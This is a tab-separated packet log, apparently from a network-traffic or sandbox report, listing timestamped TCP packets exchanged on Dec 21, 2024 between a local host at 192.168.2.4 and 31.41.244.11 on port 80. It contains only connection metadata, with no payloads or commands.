Dec 21, 2024 10:15:43.348525047 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.349775076 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.349909067 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.349948883 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.349982023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.351253986 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.351330042 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.351344109 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.351417065 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.352878094 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.352915049 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.352936983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.352965117 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.354232073 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.354288101 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.354377985 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.354434013 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.355715036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.355770111 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.355770111 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.355827093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.357234001 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.357294083 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.357433081 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.357487917 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.358817101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.358851910 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.358874083 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.358908892 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.360167980 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.360229015 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.360268116 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.360326052 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.361769915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.361826897 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.361967087 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.362024069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.363179922 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.363214970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.363280058 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.364602089 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.364658117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.364671946 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.364713907 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.366045952 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.366199970 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.366271019 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.367652893 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.367712975 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.368347883 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.368407965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.369924068 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.369987965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.370260000 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.370318890 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.370510101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.370568991 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.370657921 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.371300936 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.371963978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.372036934 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.372112036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.372172117 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.373493910 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.373548031 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.373722076 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.373786926 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.374916077 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.375145912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.375205040 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.376509905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.376573086 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.376686096 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.376749039 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.377939939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.378048897 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.378122091 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.379347086 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.379440069 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.379441023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.379493952 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.380882978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.381009102 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.381052971 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.381107092 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.382352114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.382407904 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.382419109 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.382464886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.383827925 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.383956909 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.384037971 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.385288954 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.385355949 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.385445118 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.385514021 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.387051105 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.387085915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.387150049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.388461113 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.388529062 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.388782024 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.388837099 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.389729023 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.389853001 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.389913082 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.391227961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.391303062 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.391397953 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.391459942 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.392640114 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.392699957 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.392781973 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.392832041 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.394141912 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.394227028 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.394239902 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.394278049 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.395793915 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.395859003 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.395999908 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.396054983 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.397242069 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.397294044 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.397293091 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.397346973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.398622036 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.398682117 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.398777008 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.398835897 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.400182009 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.400216103 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.400234938 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.400259018 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.401521921 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.401616096 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.401619911 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.401668072 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.403095961 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.403142929 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.403223038 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.403271914 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.404652119 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.404702902 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.404705048 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.404752970 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.405971050 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.406018019 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.406102896 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.406151056 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.407542944 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.407592058 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.407594919 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.407645941 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.408951044 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.409004927 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.409023046 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.409073114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.435281992 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.435408115 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.435551882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.435959101 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.436022043 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.436045885 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.436104059 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.437438011 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.437500954 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.437680006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.437738895 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.438859940 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.438922882 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.438934088 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.438992023 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.440335035 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.440397024 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.440448999 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.440510035 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.441796064 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.441862106 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.441998959 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.442056894 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.443289995 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.443352938 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.443408012 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.443469048 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.444828033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.444889069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.444930077 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.444989920 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.446326017 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.446441889 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.446513891 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.446572065 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.447737932 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.447798967 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.447839975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.447901964 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.449223042 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.449258089 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.449287891 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.449318886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.450825930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.450862885 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.450891018 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.450920105 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.452178001 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.452239037 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.452292919 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.452353954 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.453640938 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.453701973 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.454016924 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.454076052 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.455180883 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.455240965 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.455348015 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.455410957 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.456629038 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.456803083 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.456871033 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.458127975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.458215952 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.458283901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.459603071 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.459676027 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.459701061 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.459769011 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.461055040 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.461114883 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.461205006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.461266041 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.462588072 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.462647915 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.462683916 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.462740898 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.463999033 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.464117050 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.464179993 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.465485096 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.465557098 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.465630054 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.465691090 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.466919899 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.467200994 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.467273951 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.468420029 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.468478918 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.468564034 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.468625069 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.469899893 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.470127106 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.470189095 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.471415043 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.471474886 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.471546888 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.471606970 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.472886086 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.472942114 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.473037004 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.473102093 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.474359989 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.474416018 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.474507093 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.474560022 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.475893974 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.475980997 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.476038933 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.477304935 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.477370024 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.477464914 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.477524996 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.479005098 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.479041100 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.479069948 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.479103088 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.480274916 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.480335951 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.480391979 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.480452061 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.481786013 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.481848001 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.481898069 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.481956005 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.483278990 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.483329058 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.483350992 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.483382940 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.484707117 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.484766960 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.484817982 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.484877110 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.486243963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.486301899 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.486314058 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.486373901 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.487660885 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.487812042 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.487869978 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.489255905 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.489367962 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.489377022 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.489438057 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.490629911 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.490746975 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.490813017 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.492098093 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.492157936 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.492255926 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.492316008 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.493557930 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.493721962 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.493782043 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.495126963 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.495242119 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.495290995 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.495353937 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.496577978 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.496629000 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.496648073 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.496718884 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.498018980 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.498142958 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.498218060 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.499546051 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.499687910 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.499764919 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.501019001 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.501076937 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.501163006 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.501218081 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.502482891 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.502517939 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.502543926 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.502574921 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.504008055 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.504077911 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.504128933 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.504187107 CET	49844	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:43.505434990 CET	80	49844	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:43.505512953 CET	49844	80	192.168.2.4	31.41.244.11
